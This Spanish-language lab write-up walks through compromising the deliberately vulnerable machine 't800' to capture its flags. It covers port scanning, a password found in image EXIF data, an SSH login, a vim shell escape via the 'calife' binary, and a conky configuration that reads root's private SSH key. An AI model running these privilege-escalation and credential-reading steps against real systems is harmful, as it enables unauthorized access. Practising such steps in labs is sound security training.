Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.54
❯ nmap -sCV -p80,800 -oN 02-targeted.txt 192.168.1.54
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-29 14:03 -04
Nmap scan report for 192.168.1.54
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
800/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b6:be:5a:0b:ec:0b:53:69:b6:7b:54:46:7d:40:56:75 (RSA)
| 256 a3:3c:a5:67:ba:42:94:04:49:47:24:30:63:91:ef:c3 (ECDSA)
|_ 256 b2:75:86:d8:45:99:9a:9d:89:10:41:9a:d0:03:6c:a8 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.56 secondsEl robots.txt apunta a /sexy/*.jpeg; ahí encontramos una imagen con una contraseña en su comentario EXIF:
❯ cat robots.txt
/sexy/*.jpeg
❯ exiftool nudeslut.jpeg
...
Comment: passwd:chmodxheart
...Y el código del sitio revela el usuario:
❯ curl http://192.168.1.54
...
<!-- Im ruut-->
...Iniciamos sesión por SSH (puerto 800) como ruut:
❯ ssh ruut@192.168.1.54 -p 800
ruut@192.168.1.54's password: chmodxheart
ruut@t800:~$Buscamos binarios SUID:
ruut@t800:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/conky
/usr/bin/calife
...calife es un equivalente de sudo. Lo usamos para acceder como superruut, que nos abre vim, del que escapamos a una shell:
ruut@t800:/home$ calife - superruut
Password: chmodxheart
> :!/bin/bash
superruut@t800:/home$Obtenemos la flag de usuario. Para escalar a root, usamos conky, cuya configuración permite ejecutar comandos y leer archivos:
superruut@t800:/tmp$ cat conky.conf
conky.config = {
out_to_console = true,
out_to_x = false,
}
conky.text = [[
${tail /root/.ssh/id_rsa 30}
]]
superruut@t800:/tmp$ conky -c /tmp/conky.confObtenemos la id_rsa de root y nos conectamos:
❯ chmod 600 id_rsa_root
❯ ssh root@192.168.1.54 -p 800 -i id_rsa_root
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
...
root@t800:~#Obtenemos nuestra flag.
Fin.